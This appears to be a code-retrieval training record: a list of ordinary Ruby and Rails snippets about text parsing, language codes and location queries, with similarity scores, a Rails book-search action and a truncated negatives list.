"def make_terms(text, lang)\n if !text\n return []\n end\n \n text = clean_text(text)\n\n # Turn non-breaking spaces into spaces. This is more complex than it should be, \n # due to Ruby version and platform character encoding differences\n # In particular Windows always seems to read as IBM437 encoding\n if RUBY_VERSION < \"1.9\"\n text.gsub!(/\\302\\240/,' ') \n else\n text.gsub!(\"\\u00A0\", \" \") # turn non-breaking spaces (UTF-8) into spaces \n end\n\n text = downcase_l(text,lang)\n\n # cleanups on Cable and Warlogs data\n text.gsub!(\"&\",\"\") # data has some HTML apostrophe mess, clean it up\n text.gsub!(\"amp;\",\"\")\n text.gsub!(\"apos;\",\"'\")\n text.gsub!(\"''\",\"'\") # double '' to single '\n text.gsub!(/<[^>]*>/, '') # strip things inside HTML tags\n\n # allow only a small set of characters\n text.tr!('\"()[]:,',' ') # turn certain punctation into spaces\n text = strippunct_l(text, lang) # remove anything not in the language charset (helps with OCR junk)\n text.gsub!(/\\s\\s*/, ' ') # collapse runs of spaces into single spaces\n\n terms = text.split(' ')\n terms.map!{ |t| t.sub(/^[^a-z0-9]+/,'').sub(/[^a-z0-9]+$/,'') } # remove leading/trailing punctuation\n \n # Now scan through the term list and spit out ungrams, bigrams\n termsout = []\n \n while t = terms.shift\n \n # look for a bigram starting with t\n if terms.length && terms[0] != nil\n t2 = terms[0]\n bigram = t + \"_\" + t2\n if @bigrams.include?(bigram)\n termsout << bigram\n #puts bigram\n next\n end\n end\n \n # DISABLED stemming, for easier installation (stemmer gem not req'd) js 21/2/2012\n # no bigram here, stem the individual term, output if it's \"acceptable\"\n #if @stem_terms \n # t = t.stem\n #end\n \n if term_acceptable(t)\n termsout << t\n end\n \n end\n \n return termsout\n end",
"def collect_types_of_lesson\n [ [\"Обязательное занятие\", \"Primary lesson\"], [\"Электив\", \"Extra\"] ]\n end",
"def language_codes_for_select\n configuration(:languages).collect{ |language|\n language[:language_code]\n }\n end",
"def parse_lang_for_codeblock(source); end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def parse_strings(toolname=nil, locale=\"en\", dir=nil)\n toolname = \"\" if toolname.nil?\n raise(ArgumentError, \"Argument 'toolname' needs to be a String\") unless toolname.is_a?(String)\n raise(ArgumentError, \"Argument 'locale' needs to be a String\") unless locale.is_a?(String)\n raise(ArgumentError, \"Argument 'dir' needs to be a String\") unless dir.is_a?(String) || dir.nil?\n dir = File.dirname(File.expand_path(__FILE__)) if dir.nil? || !File.exists?(dir.to_s)\n language = locale[/^[^\\-]+/]\n extensions = [\"strings\", \"lingvo\", \"rb\"]\n\n available_files = Dir.entries(dir).find_all{ |f|\n File.basename(f)[/(^|#{toolname}[^a-zA-Z]?)#{locale}\\.(#{extensions.join('|')})/i]\n }.concat(Dir.entries(dir).find_all{|f|\n File.basename(f)[/(^|#{toolname}[^a-zA-Z]?)#{language}(-\\w{2,3})?\\.(#{extensions.join('|')})/i]\n })\n return if available_files.empty?\n path = File.join(dir, available_files.first)\n format = File.extname(path)[/[^\\.]+/]\n strings = {}\n File.open(path, \"r\"){ |file|\n # load .rb format\n if format == \"rb\"\n strings = eval(file.read)\n # parse .strings or .lingvo format\n else\n entry = \"\"\n inComment = false\n file.each{ |line|\n if !line.include?(\"//\")\n if line.include?(\"/*\")\n inComment = true\n end\n if inComment==true\n if line.include?(\"*/\")\n inComment=false\n end\n else\n entry += line\n end\n end\n if format == \"strings\" && entry.include?(\";\") || format == \"lingvo\" && !entry.empty?\n keyvalue = entry.strip.gsub(/^\\s*\\\"|\\\"\\s*;$/, \"\").split(/\\\"\\s*=\\s*\\\"|\\s*<==>\\s*/)\n entry = \"\"\n next unless keyvalue.length == 2\n key = keyvalue[0].gsub(/\\\\\\\"/,'\"').gsub(/\\\\\\\\/, \"\\\\\")\n value = keyvalue[1].gsub(/\\\\\\\"/,'\"').gsub(/\\\\\\\\/, \"\\\\\")\n strings[key] = value\n end\n }\n end # if format\n }\n\n @strings.merge!(strings)\n return (strings.empty?)? false : true\n end",
"def index\n @langopts = Langopt.all\n end",
"def lang; end",
"def lang; end",
"def lang; end",
"def lang; end",
"def parse( language, target=[] )\n file = file_name(language)\n content = File.open( file, 'r' ).read.gsub( /\\\"\\n\\\"/, '' )\n puts \"Parsing \\\"#{file}\\\" ...\"\n content.each_line do |line|\n parse_line( line, target ) unless line.first == '#'\n end\n target.shift # remove po header\n \n return target\n rescue Errno::ENOENT\n puts \"Can not found \\\"#{file}\\\", parsing skipped.\"\n return []\n end",
"def languages\n @bio.fetch('Languages')\n end",
"def extract_types_from_text(text)\n name, types, text = nil, [], text.strip\n if text =~ /^\\s*(\\S*)\\s*<(.+?)>\\s*(.*)/\n name, text, types = $1, $3, $2.split(\",\").collect {|e| e.strip }\n end\n [name, types, text]\n end",
"def parse_text(text)\n\n end",
"def collections\n %w( paragraphs bullets files ).map(&:to_sym)\n end",
"def make_list(text)\n\traw_text_array = text.split(\" \")\n\treturn raw_text_array\nend",
"def programmes\n [programme].compact\n end",
"def accepted_languages()\n # no language accepted\n return [] if request.env[\"HTTP_ACCEPT_LANGUAGE\"].nil?\n \n # parse Accept-Language\n accepted = request.env[\"HTTP_ACCEPT_LANGUAGE\"].split(\",\")\n accepted = accepted.map { |l| l.strip.split(\";\") }\n accepted = accepted.map { |l|\n if (l.size == 2)\n # quality present\n #[ l[0].split(\"-\")[0].downcase, l[1].sub(/^q=/, \"\").to_f ]\n else\n # no quality specified => quality == 1\n #[ l[0].split(\"-\")[0].downcase, 1.0 ]\n ll = l[0].split(\"-\")\n if (ll.size > 1)\n [ll[0], ll[1].upcase]\n else\n []\n end\n end\n }\n accepted[0].join(\"-\") if accepted[0]\n end",
"def scan\n $stderr.print \"[lexicon] \"\n\n dict = Set.new\n\n files.each do |file|\n if $DEBUG\n $stderr.puts \"[scanning dictionary] #{file}\" if $DEBUG\n else\n $stderr.print \".\"\n end\n\n text = File.read(file).gsub(\"\\n\", \" \")\n states = text.split(/[.,:;?!()\"]\\s*/)\n\n states.each do |state|\n state.scan(WORD) do |word|\n word = normalize(word)\n dict << word if valid_word?(word)\n end\n end\n end\n\n @set = dict\n\n $stderr.puts\n end",
"def lexer programa\n \n\t\tprograma = programa.split(\"\")\n\t\tlexema = \"\"\n \t\t\n\t\t# Posiciones (fila, columna) en el programa\n\t\tfila = 1\n\t\tcolumna = 1\n\t\tlexemas = []\n\n\t\ti = 0;\n \t\t\n \t\t# Procesamiento de los lexemas.\n\t\twhile i < programa.length\n\t\t \n\t\t\tc = programa[i]\n\n\t\t\tif c == \"#\"\t\t\t\t# Comentario\n\t\t\t\t\n\t\t\t\twhile c != \"\\n\"\n\t\t\t\t\ti += 1;\n\t\t\t\t\tc = programa[i]\n\t\t\t\tend\n\n\t\t\t\tfila += 1\n\n\t\t\telsif c == \"\\\"\" \t\t# Comentarios\n\t\t\t\tlexema << c\n\t\t\t\ti += 1\n\t\t\t\tc = programa[i]\n\n\t\t\t\twhile c != \"\\\"\"\n\t\t\t\t\t\n\t\t\t\t\tif c == \"\\\\\"\n\t\t\t\t\t\tlexema << c\n\t\t\t\t\t\ti += 1\n\t\t\t\t\t\tc = programa[i]\n\t\t\t\t\telsif c == \"\\n\"\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlexema << c\n\t\t\t\t\ti += 1\n\t\t\t\t\tc = programa[i]\n\t\t\t\tend\n\n\t\t\t\tlexema << c\n\t\t\t\t\n\t\t\t\tif c == \"\\n\"\n\t\t\t\t\tlexema = \"\\\"\"\n\t\t\t\tend\n\n\t\t\telsif c == \" \" || c == \"\\t\"\t\t# Lexema encontrado\n\n\t\t\t\tif not(lexema.empty?)\n\t\t\t\t\tlexemas << Tripleta.new(lexema,fila,columna)\n\t\t\t\tend\n\n\t\t\t\tcolumna += lexema.length+1\n\t\t\t\tlexema = \"\"\n\n\t\t\telsif c == \"\\n\"\n\n\t\t\t\tif not(lexema.empty?)\n\t\t\t\t\tlexemas << Tripleta.new(lexema,fila,columna)\n\t\t\t\tend\n\n\t\t\t\tcolumna = 1\n\t\t\t\tfila += 1\n\t\t\t\tlexema = \"\"\n\n\t\t\telsif c == \")\" || c == \"(\" || c == \"-\" || c == \";\" || c == \",\"\t# Caracteres especiales\n\n\t\t\t\tif not(lexema.empty?)\n\t\t\t\t\tlexemas << Tripleta.new(lexema,fila,columna)\n\t\t\t\tend\n\n\t\t\t\tif c == \"-\" && programa[i+1] == \">\"\n\t\t\t\t\tc = \"->\"\n\t\t\t\t\ti += 1\n\t\t\t\tend\n\n\t\t\t\tcolumna += lexema.length\n\t\t\t\tlexema = c\n\t\t\t\tlexemas << Tripleta.new(lexema,fila,columna)\n\t\t\t\tcolumna += 1\n\t\t\t\tlexema = \"\"\n\n \t\telse\n \t\t\tlexema << c\n \t\t\t\n \t\tend\n\n\t\t\ti += 1\n\t\tend\n\n\t\tfor i in lexemas\n\t\t\tcrearToken(i.palabra,i.fila,i.columna)\n\t\tend\n\n\t\tfor i in tk\n\t\t\tif i.tipo == \"TkNum\" || i.tipo == \"TkId\" || i.tipo == \"TkString\"\n\t\t\t\t@parserTk << [i.tipo,i]\n\t\t\telse\n\t\t\t\t@parserTk << [i.token,i]\n\t\t\tend\n\t\tend\n\n\tend",
"def parse(text); end",
"def import_dict(lang)\n f = File.open(\"import_dict/ko_dict.txt\", 'r')\n dict = {}\n while !f.eof?\n line = f.readline\n words = line.split(',')\n words[1] = words[1].strip\n lang == 'korean' ? dict[words[0]] = words[1] : dict[words[1]] = words[0]\n end\n dict\n end",
"def accepted_locales\n http_accept_language = request.env['HTTP_ACCEPT_LANGUAGE']\n return [] if http_accept_language.blank?\n langs = http_accept_language.scan(/([a-zA-Z]{2,4})(?:-[a-zA-Z]{2})?(?:;q=(1|0?\\.[0-9]{1,3}))?/).map do |pair|\n lang, q = pair\n [lang.to_sym, (q || '1').to_f]\n end\n langs.sort_by { |lang, q| q }.map { |lang, q| lang }.reverse.uniq\n end",
"def parseProg\n\t\tputs \"parseProg\"\n\n\t\tparseMainClass()\n\t\twhile showNext.kind != :rsbrace\n\t\t\tparseClassDeclaration()\n\t\tend\n\t\texpect :rsbrace\n\n\t\treturn nil\n\tend",
"def can_code?(n)\n n[:languages].include?(\"Ruby\") || n[:languages].include?(\"Python\")#OR HE EXPLAINED IT AS : n[:languages].include?(\"Python\")\n #I want to make sure that it incliudes Ruby or python (or both/more)\nend",
"def lex_en_unknown; end",
"def map_language(value)\n #changing to a string value since I am returning only one value\n language = case\n when value.is_a?(Array) then value\n when value.is_a?(String) then [value]\n else raise ArgumentError.new(\"Expecting #{value} to be an Array or String\")\n end\n\n iso_lang_code = \"\"\n\n language.each{|lan|\n lan.downcase!\n iso = ISO_639.search(lan)\n #returns an array of arrays\n iso.each_index{|la|\n iso[la].each{|l|\n #if code is found in language array of arrays\n if l == lan\n #the ISO English equivalent of the code or the language\n #always in the 4th position of the array\n iso_lang_code = iso[la][3]\n break\n end\n }\n\n }\n break if !iso_lang_code.empty?\n }\n iso_lang_code\n\n end",
"def language_codes_for_select\n configuration(:languages).collect { |language|\n language[:language_code]\n }\n end",
"def infer_language(text)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement infer_language\"\n end",
"def proptextlistarray(name) #:nodoc:\n @properties.select{ |f| f.name? name }.map{ |p| Vpim.decode_text_list(p.value_raw) }.flatten\n end",
"def get_languages\r\n @xml_doc.xpath(\"/TextDatabase/Languages/Language\").inject([]) do |languages, lang_node|\r\n language = empty_to_nil(lang_node[\"Id\"])\r\n languages.push(language)\r\n end\r\n end",
"def infer_languages\n raise \"Not Implemented. Class #{self.class.name} doesn't implement infer_languages\"\n end",
"def languages(options = {})\n Babel.distances(self, options).map() {|item| item.first}\n end",
"def list_gym_programs\n system \"clear\"\n program = TTY::Prompt.new.select(\"Gym Program(s):\", self.programs.pluck(:name))\n found = (Program.find_by(name: program)).description\n puts found\n puts \"\"\n TTY::Prompt.new.select(\" \") do |menu|\n menu.choice \"Back to programs\", -> {self.list_gym_programs}\n menu.choice \"Main Menu\"\n end\n end"
] |
[
"0.5590375",
"0.5548614",
"0.5345294",
"0.5265395",
"0.52183896",
"0.5173649",
"0.5158272",
"0.51535046",
"0.5131342",
"0.5125924",
"0.51000714",
"0.50984925",
"0.50802815",
"0.50586385",
"0.5038667",
"0.50186735",
"0.49839416",
"0.49807596",
"0.49715447",
"0.49663463",
"0.4950816",
"0.49400312",
"0.49051344",
"0.4890134",
"0.48843586",
"0.48775053",
"0.48775053",
"0.48646787",
"0.4864522",
"0.48593035",
"0.48264503",
"0.48264503",
"0.4821983",
"0.4818705",
"0.48021778",
"0.48000482",
"0.47968966",
"0.47938186",
"0.47805765",
"0.4757832",
"0.4754899",
"0.47492364",
"0.4744731",
"0.47426206",
"0.47357327",
"0.47182384",
"0.47084323",
"0.46910733",
"0.46801546",
"0.46582836",
"0.46510327",
"0.4650454",
"0.4648286",
"0.463472",
"0.46306774",
"0.46233636",
"0.4614737",
"0.4605646",
"0.4596601",
"0.4596601",
"0.4596601",
"0.45958948",
"0.45949483",
"0.45839244",
"0.45824656",
"0.45789945",
"0.4576792",
"0.4576792",
"0.4576792",
"0.4576792",
"0.45684657",
"0.4564076",
"0.45481178",
"0.45481178",
"0.45481178",
"0.45481178",
"0.45460048",
"0.45431358",
"0.45429513",
"0.4540977",
"0.45371103",
"0.45363665",
"0.4534125",
"0.452909",
"0.45166457",
"0.4514624",
"0.45140252",
"0.4512845",
"0.45095304",
"0.44995835",
"0.44925764",
"0.44921753",
"0.44917914",
"0.4481425",
"0.44798145",
"0.44727695",
"0.44695035",
"0.4465996",
"0.44570175",
"0.44561702"
] |
0.58714145
|
0
|
def location_list locations = [] Board.all.each do |board| brands << board.brand end brands.uniq end
|
def set_profile
@profile = current_user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def locations\n\t\t[]\n\tend",
"def locations; end",
"def locations\n unless defined?(@locations)\n @locations=[]\n for loc in Location.order(\"id ASC\").includes(:bottom_right_coordinate, :top_left_coordinate)\n @locations << loc if do_overlap_with?(loc.area)\n end \n end \n @locations\n end",
"def list\n @locations = Location.find(:all, :order => \"name\")\n end",
"def locations\n return @locations\n end",
"def locations\n return @locations\n end",
"def locations\n self.veterinarians.pluck(:name, :location).map {|x| x.join(\" \")}\n end",
"def current_locations\n []\n end",
"def get_all_locations\n @locations = []\n Location.all.each do |loc|\n @locations << loc.to_hash\n end\n end",
"def list_locations # :nologin:\n query = create_query(:Location, :all, :by => :name)\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def list_locations\n query = create_query(:Location, :all, by: default_sort_order)\n show_selected_locations(query, link_all_sorts: true)\n end",
"def get_all_locations\n @locations = []\n\n Location.all.each do|loc|\n @locations << loc.to_hash\n end\n end",
"def navbar_locations_list\n Location.all\n end",
"def get_all_locations\n @locations = []\n results = Location.all\n results.each do |loc|\n @locations << loc.to_hash\n end\n end",
"def map_locs\n [location]\n end",
"def map_locs\n [location]\n end",
"def locations\n # blank\n end",
"def location_countries\r\n\t\treturn LocationCountry.find :all, :order=>\"sort_order, name ASC\"\r\n\tend",
"def list_dubious_locations # :nologin:\n query = create_query(:Location, :all, :by => :name)\n show_selected_locations(query, :link_all_sorts => true,\n :action => :list_dubious_locations, :num_per_page => 1000)\n end",
"def index\n @locations = Spree::Location.all\n end",
"def locations\n \tp_arel = self.class.arel_table\n \t\n \tl_arel = Location.arel_table\n\tse_arel = SiteEntity.arel_table\n\tae_arel = AssetEntity.arel_table\n\t\n\ta_arel = Asset.arel_table\n\n\t\n\tlocation_join = l_arel.join(se_arel, Arel::Nodes::InnerJoin)\n\t \t.on(se_arel[:site_entitable_id].eq(l_arel[:id]).and(se_arel[:site_entitable_type].eq(\"Location\")))\n\t .join(ae_arel,Arel::Nodes::InnerJoin)\n\t \t.on(\n\t \t\tae_arel[:site_entity_id].eq(se_arel[:id])\n\t \t)\n\t .join(a_arel,Arel::Nodes::InnerJoin)\n\t \t.on(\n\t \t\ta_arel[:id].eq(ae_arel[:asset_id]).and(a_arel[:photographer_id].eq(id))\n\t \t\n\t \t)\n\t \n\tap location_join\n\t\n\tLocation.joins(location_join.join_sources).uniq\n end",
"def index\n @catalog_locations = Catalog::Location.all\n end",
"def get_uniq_locations\n start_array = StartLocation.all.map { |start_location| start_location.name }\n EndLocation.all.each { |end_location| start_array << end_location.name }\n uniq_arr = start_array.uniq\n uniq_arr\nend",
"def get_favorite_locations_array\n favorite_locations = StartLocation.all.select do |start_location|\n start_location.favorite == true\n end.map {|favorite_location| favorite_location.name }\n\n EndLocation.all.select do |end_location|\n favorite_locations << end_location.name if end_location.favorite == true\n end\n favorite_locations.uniq\nend",
"def locations\n Location.all.select do |location|\n location.restaurant == self\n end\n end",
"def getAllLocations()\n coll = self.coll_locations\n puts coll.find()\n coll.find.each { |row| puts row.inspect }\n end",
"def index\n @recipe_locations = RecipeLocation.all\n end",
"def index\n @dropoff_locations = DropoffLocation.all\n end",
"def locations\n locations_res.data.locations.map {|loc| location_res_to_map(loc)}\n end",
"def index\n @specific_locations = SpecificLocation.all\n end",
"def list_locations\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Locations\"\n \n if(@company.can_view(current_user))\n @locations = Location.where(company_id: @company.id).order(\"name\")\n else\n errPerms()\n end\n end",
"def index\n @popular_locations = PopularLocation.all\n @top_locations = PopularLocation.get_top\n end",
"def index\r\n @backend_locations = Backend::Location.all\r\n end",
"def set_locations\n @brand = Brand.find(params[:brand_id])\n end",
"def wear_locations\n @equip_slot_info.wear_locations\n end",
"def list\n # list possible locations \n\n @location_suggest = get_location_suggest\n\n if params[:location]\n locations = WoeidHelper.search_by_name params[:location]\n if not locations.nil? and locations.count == 1\n set_location locations[0]\n else\n @location_asked = locations\n end\n end\n end",
"def get_report_locations()\n locations = Location.where(company_id: self.id)\n\n return locations\n end",
"def get_report_locations()\n locations = Location.where(company_id: self.id)\n\n return locations\n end",
"def get_report_locations()\n locations = Location.where(company_id: self.id)\n\n return locations\n end",
"def getLocations\n # create locations table\n locations = Array.new\n \n # turn page into Nokogiri object\n parsed_page = Nokogiri::HTML(@page)\n\n # get table of drop info from page\n locations = parsed_page.css(\"#mw-content-text\").css(\"ul\").css(\"li\").css(\"a\").children.map { |r| r.text }\n\n # prints table for debugging\n# puts(\"table = #{locations}\")\n\n # save locations globally\n @locations = locations\n end",
"def location\n [equipment_rack.room.building.name, equipment_rack.room.name, equipment_rack.name, \"Unit #{rack_elevation}\"].join(', ') unless equipment_rack.nil?\n end",
"def location\n # Retrieve info for dropdown\n @nationwide = Location.get_nationwide\n #@provinces = Location.provinces.where('id != ?', @nationwide.id).order('denorm_sort').collect {|p| [p.name.capitalize, p.id]}.insert(0, [@nationwide.name.capitalize, @nationwide.id])\n @provinces = Location.provinces.where('id != ?', @nationwide.id).order('denorm_sort')\n\n # Retrieve previously selected locations\n @curr_locations = current_user.present? ? current_user.locations.pluck(:id) : []\n\n # Get all regions for the map display \n @regions = Region.order('region_iso').all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def load_locations\n add_location('Bangalore', 'Belgaum', 24)\n add_location('Bangalore', 'Mysore', 71)\n add_location('Belgam', 'Tumkur', 59)\n add_location('Mandya', 'Mangalore', 141)\n add_location('Tumkur', 'Mandya', 65.5)\n add_location('Mandya', 'Mysore', 101)\n add_location('Belgaum', 'Chickmangalur', 103)\n add_location('Mandya', 'Tumkur', 65)\n add_location('Mangalore', 'Mysore', 169)\n add_location('Mysore', 'Tumkur', 134)\n end",
"def locations\n @locations = Location.where(fragment: @scenario.fragments).order(:id).page params[:page]\n end",
"def index\n @finder_locations = Location.select { |location| location.finder_id == current_user.id }\n @target_locations = Location.select { |location| location.target_id == current_user.id }\n end",
"def index\n @book_locations = BookLocation.all\n end",
"def index\n\t\t@buzzs = Buzz.all.order(\"created_at DESC\")\n\t\t@locations = Location.all\n\n\tend",
"def data_objects\n self.locations.map{|loc| loc.data_objects}.flatten.uniq.compact\n end",
"def index\n @locationtypes = Locationtype.all\n end",
"def locallist()\n # so. if @locationbase/bundles exists\n # gather and merge: @locationbase/bundles/*/@location\n # then merge @locationbase/@location\n #\n\n bundleDir = $cfg['location.bundles'] or 'bundles'\n bundleDir = 'bundles' if bundleDir.nil?\n items = {}\n if (@locationbase + bundleDir).directory? then\n (@locationbase + bundleDir).children.sort.each do |bndl|\n if (bndl + @location).exist? then\n verbose(\"Loading from bundle #{bndl.basename}\")\n bitems = localitems(bndl + @location)\n bitems.map!{|b| b[:bundled] = true; b} # mark items from bundles.\n\n\n # use synckey for quicker merging.\n bitems.each { |b| items[synckey(b)] = b }\n end\n end\n end\n if (@locationbase + @location).exist? then\n bitems = localitems(@locationbase + @location)\n # use synckey for quicker merging.\n bitems.each { |b| items[synckey(b)] = b }\n else\n warning \"Skipping missing location #{@locationbase + @location}\"\n end\n\n items.values\n end",
"def index\n @vehicle_locations = VehicleLocation.all \n end",
"def locations\n @client.get('/BikePoint')\n end",
"def index\n @locations=Location.all\n end",
"def find_locations\n parent = Location.find_by_id params[:id]\n @locations = parent.nil? ? [] : parent.children.order(:name)\n end",
"def locations\n farm = Farm.find(params[:id])\n\n @locations = []\n # Find which locations this user is authorized to access\n if (current_user.is_hog_owner? || current_user.is_farm_owner? || current_user.is_admin?)\n @locations = farm.locations\n elsif current_user.is_barn_manager?\n @locations << current_user.owner.barn.location\n elsif current_user.is_site_manager?\n @locations << current_user.owner.location\n end\n\n @page_title = \"Sites\"\n @header_icon_class = \"icon-road\"\n @page_subtitle = \"\"\n \n respond_to do |format|\n format.html { render '/locations/index' }\n format.json { render json: @locations }\n end\n end",
"def locations\n profile = \"http://hl7.org/fhir/us/davinci-drug-formulary/StructureDefinition/usdf-InsurancePlanLocation\"\n bundle = @client.search(FHIR::Location, search: { parameters: { _profile: profile } }).resource&.entry || []\n areas = bundle.each_with_object({}) do |entry, areahashbyid|\n areahashbyid[entry.resource.id] = Location.new(entry.resource)\n end\n\n areas.deep_symbolize_keys\n end",
"def index\n @admin_locations = Admin::Location.all\n end",
"def index\n @locations = Location.find(:all, :order => 'state, name ASC')\n @states = []\n @locations.each do |loc|\n @states << loc.state unless loc.state.nil?\n end\n @states.uniq!\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end",
"def get_piece_locations\n @board.search(Piece, @color)\n end",
"def index\n @item_locations = ItemLocation.all\n end",
"def checkout_locations\n locations = kits.collect { |k| k.location }\n locations.uniq!\n locations.select { |l| l.business_hours.count > 0 }\n end",
"def map_locs\n itineraries.collect(&:location)\n end",
"def index\n @crash_locations = CrashLocation.all\n gon.locations = retrieve_locations\n end",
"def index\n @current_locations = CurrentLocation.all\n end",
"def results\n if (@location_type == 'state')\n breweries = brewery_db.locations.all(region: @location)\n elsif (@location_type == 'postal')\n breweries = brewery_db.locations.all(postalCode: @location)\n end\n\n brewery_arr = []\n breweries.each do |b|\n content = {}\n content['name'] = b.brewery.name\n content['id'] = b.breweryId\n content['website'] = b.brewery.website\n brewery_arr << content\n end\n\n return brewery_arr\n end",
"def get_vehicle_locations\n route_config unless @route\n @last_time = Time.now if @last_time.nil?\n # TODO handle a route that has no active vehicles, like the 101 during the week\n # TODO do I need to clear sensors that aren't active... e.g. if I'm on a route with 8 buses, then switch to a route with 2, do I somehow clear those sensors I'm not using any more?\n vehicles = Nextbus::Vehicle.all @agency_id, @route_id #, @last_time\n sensor_update \"vehicle_count\", vehicles.size\n vehicles.each.with_index(1){|v, i|\n sensor_update \"vehicle_#{i}_id\", v.id\n sensor_update \"vehicle_#{i}_lat\", lat_factor(v.lat)\n sensor_update \"vehicle_#{i}_lon\", lon_factor(v.lon)\n sensor_update \"vehicle_#{i}_heading\", v.heading\n }\n broadcast \"move_buses\"\n end",
"def get_locations\n\n spaces_with_players = []\n @spaces.each do |space|\n if !space.is_empty\n spaces_with_players.push(space)\n end\n end\n return spaces_with_players\n end",
"def index\n @item_locations = ItemLocation.all\n end",
"def index\n @muster_locations = MusterLocation.all\n end",
"def editable_locations\n if is_super_admin?\n Location.by_name\n elsif self.region\n res = []\n region.locations.each do |lok|\n res += [lok] + lok.locations\n end\n res\n elsif self.location\n [location] + self.location.locations\n else\n []\n end\n end",
"def editable_location_ids\n return Location.all if is_super_admin?\n if self.region\n res = []\n region.locations.each do |lok|\n res += [lok.id.to_s] + lok.locations.map{|l| l.id.to_s}\n end\n res\n elsif self.location\n [location.id.to_s] + self.location.locations.map{|l|l.id.to_s}\n else\n []\n end\n end",
"def justLocations(locationsToggle) \n arrNew = []\n locationsToggle.each do |arr|\n arrNew.push(arr[0])\n end\n return arrNew\n end",
"def displayable_sorted_locations\n\t\tsorted_locations.select { |location| location.display_address.present? }\n\tend",
"def brands\n beers.collect{ |b| b.brand }\n end",
"def index\n @location_groups = LocationGroup.all\n end",
"def location\n fetch('games.super_mario.locations')\n end",
"def list_location_descriptions # :nologin:\n query = create_query(:LocationDescription, :all, :by => :name)\n show_selected_location_descriptions(query)\n end",
"def cities\n gallaries.map{|place| place.city}\n\n end",
"def cities\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery.city\n end\n end.compact.uniq\n end",
"def location\n b = []\n b << latitude\n b << longitude\n Geocoder.coordinates(b)\n end",
"def index\n @location_granularities = LocationGranularity.all.order(\"description\")\n end",
"def get_countries\n countries=[]\n @locations.each do |loc|\n countries << loc.country.capitalize if loc.country\n end\n countries.uniq\n end",
"def get_locations\n response = execute_get(\"/reference/location\")\n Location.from_array(decode(response))\n end",
"def index\n @ms_locations = MsLocation.all\n end",
"def index\n @job_locations = JobLocation.all\n end",
"def get_nearby_locations(nelat, nelng, swlat, swlng, user_id)\n @locations = []\n validLocations = []\n\n validLocations = Location.where(\"latitude > ? AND latitude < ? AND longitude > ? AND longitude < ?\", swlat, nelat, swlng, nelng)\n validLocations = validLocations.sort_by { |k| k[\"latitude\"] }\n validLocations = validLocations[0..49]\n\n validLocations.each do|loc|\n @locations << loc.to_hash_with_follow(user_id)\n end\n\n end",
"def feature_ids\n self.locations\n end",
"def location_tree\n #@locations = Location.all\n # puts \"location_tree\"\n @locations = Location.where(ancestry: nil).order(location_type: :desc)\n #@locations = Location.where(id: 1)\n end",
"def locations()\n sql = \"SELECT dives.*\n FROM dives\n INNER JOIN schedules\n ON schedules.dive_id = dives.id\n WHERE schedules.id = $1\"\n values = [@schedule_id]\n result = SqlRunner.run(sql,values)\n dive = Dive.map_items(result)\n return dive\n end",
"def districts\n self.projects.collect do |proj|\n proj.locations\n end.flatten.uniq\n end"
] |
[
"0.74884546",
"0.7350971",
"0.72771066",
"0.7085344",
"0.6824672",
"0.6824672",
"0.6750698",
"0.67322356",
"0.67247367",
"0.670587",
"0.669715",
"0.6678223",
"0.66461",
"0.6642384",
"0.66328746",
"0.66328746",
"0.66164804",
"0.66113144",
"0.6526681",
"0.6424622",
"0.6421036",
"0.64125687",
"0.63988274",
"0.63981277",
"0.63871694",
"0.63819647",
"0.6300946",
"0.62944055",
"0.62934417",
"0.6278258",
"0.62473154",
"0.6219985",
"0.6218905",
"0.6207776",
"0.61948776",
"0.6165221",
"0.6148086",
"0.6148086",
"0.6148086",
"0.61371994",
"0.6131581",
"0.6130364",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6113505",
"0.6095218",
"0.609403",
"0.6089698",
"0.6088087",
"0.60827816",
"0.6074746",
"0.6066974",
"0.60638815",
"0.6060086",
"0.6057559",
"0.60566163",
"0.6052011",
"0.6045787",
"0.6044951",
"0.6027833",
"0.60141206",
"0.6006139",
"0.60051066",
"0.5991384",
"0.59903425",
"0.5983982",
"0.5982649",
"0.59801304",
"0.5979177",
"0.5974896",
"0.59684956",
"0.592776",
"0.5911909",
"0.59083635",
"0.5895652",
"0.5895269",
"0.5891785",
"0.58736765",
"0.5869287",
"0.58690685",
"0.5861266",
"0.58611584",
"0.58597517",
"0.58455706",
"0.58383095",
"0.5836385",
"0.5829235",
"0.5828202",
"0.5821508",
"0.5812618",
"0.5805825",
"0.5796625",
"0.5794917"
] |
0.0
|
-1
|
for not showing new page to others before_filter :must_be_admin, only: [:edit, :new]
|
def search
if params[:search].present?
@books = Book.search(params[:search])
else
@books = Book.all
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def require_admin\n unless view_context.admin?\n redirect_to root_url\n end\n end",
"def only_admin\n if user_role == 'admin'\n else\n redirect_to clients_path, notice: \"У вас нет прав для просмотра даного раздела, или редактирования информации\"\n end\n end",
